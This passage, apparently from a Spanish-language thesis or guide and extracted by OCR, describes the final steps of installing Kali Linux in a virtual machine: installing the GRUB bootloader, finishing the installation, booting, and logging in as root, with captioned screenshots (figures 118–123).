GRUB que se debe instalar en el registro principal de arranque como en la figura 118 ya que se
estd hablando de una maquina virtual y posterior a eso indicar donde se va a instalar el cargador de
arranque GRUB tal como se evidencia en la figura 119, al haber realizado estos pasos y después

de un tiempo de espera se habrd finalizado la instalacion del sistema operativo y deberd aparecer

un mensaje como el de la figura 120.

| KALI I

BY OFFENSIVE SECURITY
Instalar el cargador de arranque GRUB en un disco duro
Parece que esta instalacion es el Gnico sistema operativo en el ordenador. Si esto es asi, puede instalar
sin riesgos el cargador de arranque GRUB en el registro principal de arranque del primer disco duro.

Aviso: Si el instalador no pudo detectar otro sistema operativo instalado en el sistema, la modificacion
del registro principal de arranque hara que ese sistema operativo no puede arrancarse. Sin embargo,

podra gurar GRUB m I mas adelante para arrancarlo.
¢Desea instalar el cargador de arranque GRUB en el registro principal de arranque?
_ No
® si

k

Capturar la pantalla |

Retroceder | [Wr‘
Figura 118. Instalar cargador arranque GRUB. (Autoridad propia)

Instalar el cargador de arranque GRUB en un disco duro

Ahora debe configurar el sistema recién instalado para que sea arrancable, instalando para ello el
cargador GRUB en un dispositivo del que se pueda arrancar. La forma habitual de hacerlo es instalar
GRUB en el registro principal de arranque («master boot record») del primer disco duro. Si lo prefiere,
puede instalar GRUB en cualquier otro punto del disco duro, en otro disco duro, o incluso en un disquete.
Dispositivo donde instalar el cargador de arranque:

Introducir el dispositivo manualmente

/dev/sda (ata-VBOX_HARDDISK VBab66fede-4db5b832)

Capturar la pantalla

Retroceder | Continuar ‘

Figura 119. Indicar donde se va a instalar cargador de arranque GRUB. (Autoridad propia)
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l KALI |

BY OFFENSIVE SECURITY

Terminar la instalacion

Instalacion completada
La instalacién se ha completado. Ahora podra arrancar el nuevo sistema. Asegirese de extraer el
medio de instalacién para que el sistema arranque del disco en lugar de reiniciar la instalacion.

| capturar la pantalla | [ Retroceder | Continuar l

Figura 120. Mensaje de finalizacién de instalacion Kali. (Autoridad propia)

Completada la instalacién la maquina virtual se reiniciard y aparecerd las opciones para iniciar
Kali o las opciones avanzadas, como en la figura 121, dando enter en Kali GNU/Linux se iniciara
el sistema operativo y se podrd acceder con el usuario root como en la figura 122, posterior a eso
pedird la contrasefia que se digito en la instalacién para el superusuario, y dando enter mostrara la

pantalla de inicio del Kali Linux tal como se ve en la figura 123.
GNU GRUB version 2.04-1kalii

kKali GNU/Linux
Ady >

ed-Options for Kali GNU/

BY OFFENSIVE SECURITY

Use the 1 and | keus to sel gh
enter to boot the selected 05, &' to edit e commands
g c' for a command-line.
The highlighted entry will b uted automatically in d4s.

select which entry is-h

Figura 121. Opciones para iniciar Kali Linux u Opciones avanzadas. (Autoridad propia)



mar, 19 de nov, 01:08

Siguiente

Figura 122. Inicio de sesién con usuario root Kali. (Autoridad propia)

Aplicaciones ¥ Lugares ¥ mar, 19 de nov, 01:09

Figura 123. Pantalla inicio Kali Linux. (Autoridad propia)
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